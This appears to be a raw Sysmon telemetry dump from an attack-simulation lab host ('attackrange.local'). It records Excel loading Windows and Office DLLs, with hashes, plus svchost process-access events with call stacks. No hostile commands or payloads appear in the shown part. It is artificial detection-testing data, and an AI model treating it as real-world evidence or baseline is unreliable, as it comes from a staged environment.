Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.258{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000048608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\userenv.dll10.0.14393.4583 (rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000048607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000048606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000048605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000048604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000048603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000048602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000048601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000048600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\Office16\msvcp140.dll14.27.29114.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationmsvcp140.dllMD5=F60E0D8C88242FE8CA38A8562685F231,SHA256=254F5CDE2DEF2BF3941F746E4902A36F5169BF73AE9E258E49BC1FEF7B26EC99,IMPHASH=01C801A34C4715440EF1F25AD689B315trueMicrosoft CorporationValid 734700x800000000000000048599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\Office16\vcruntime140.dll14.27.29114.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=766F0D18983E0810882FBA122AD1163E,SHA256=F10EF6DE6C651DB42DBD455A1C674047862CEBF6CCCE1F784CDB0571C9EA9757,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000048598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000048597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\Office16\vcruntime140_1.dll14.27.29114.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=74B5641A50C27B57ED0DA622E66A239E,SHA256=A571D26E536D4F7DA93ACC24EDB1D823140B660795576DC27F626F1889106D36,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000048596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000048595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000048594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000048593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000048592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000048591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000048590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000048589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000048588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000048587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Common Files\microsoft shared\ClickToRun\C2R64.dll16.0.13801.20634Microsoft Office componentMicrosoft OfficeMicrosoft Corporationc2r64.dllMD5=89F83DB0358154696068C1A1A2C48B76,SHA256=97A0AC1E7CF73E000BC13BF560BA088C79797604E5E64F21B6DB843CD16742FF,IMPHASH=B2368D24E48EF04ECC09D327F32E1358trueMicrosoft CorporationValid 734700x800000000000000048586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000048585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000048584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000048583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems64.dll10.0.19041.1074 (WinBuild.160101.0800)Client Virtualization SubsystemsMicrosoft® Windows® Operating SystemMicrosoft CorporationAppVISVSubsystems64.dllMD5=90B77DF9501D41C1FC3B9B08BF739CBD,SHA256=B767361DEEBE62459AD8D6124C9E94B0A20F09EA1C53F6111B7B71252B703A04,IMPHASH=C574FE637C53537E7BD13F10085F77BDtrueMicrosoft CorporationValid 734700x800000000000000048582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000048581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000048580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\apphelp.dll10.0.14393.4350 (rs1_release.210407-2154)Application Compatibility Client LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationApphelpMD5=92330FA0551BFFBB8C1C97E86F9A0264,SHA256=0F341AF375236EBF7047F6AE50F2834566F0D859F0F02B8A5FFD7F29C31B0117,IMPHASH=BF1AF19CCBABA6D54178C43BE36CD985trueMicrosoft WindowsValid 734700x800000000000000048579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000048578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 10341000x800000000000000048577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000048575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE16.0.13801.20864Microsoft ExcelMicrosoft OfficeMicrosoft CorporationExcel.exeMD5=035621F1CA7B491EB26796F6323DCF7A,SHA256=DCE83CF039F210B20C91DD12EACE41A80A1A3631E33B0C6EE91B61302BF93E40,IMPHASH=FD6DC178160AB121F974486CF4900227trueMicrosoft CorporationValid 10341000x800000000000000048573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.243{7BD73061-65B2-613B-1300-00000000F001}923748C:\Windows\System32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\pcasvc.dll+52e4|c:\windows\system32\pcasvc.dll+58a9|c:\windows\system32\pcasvc.dll+5b49|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 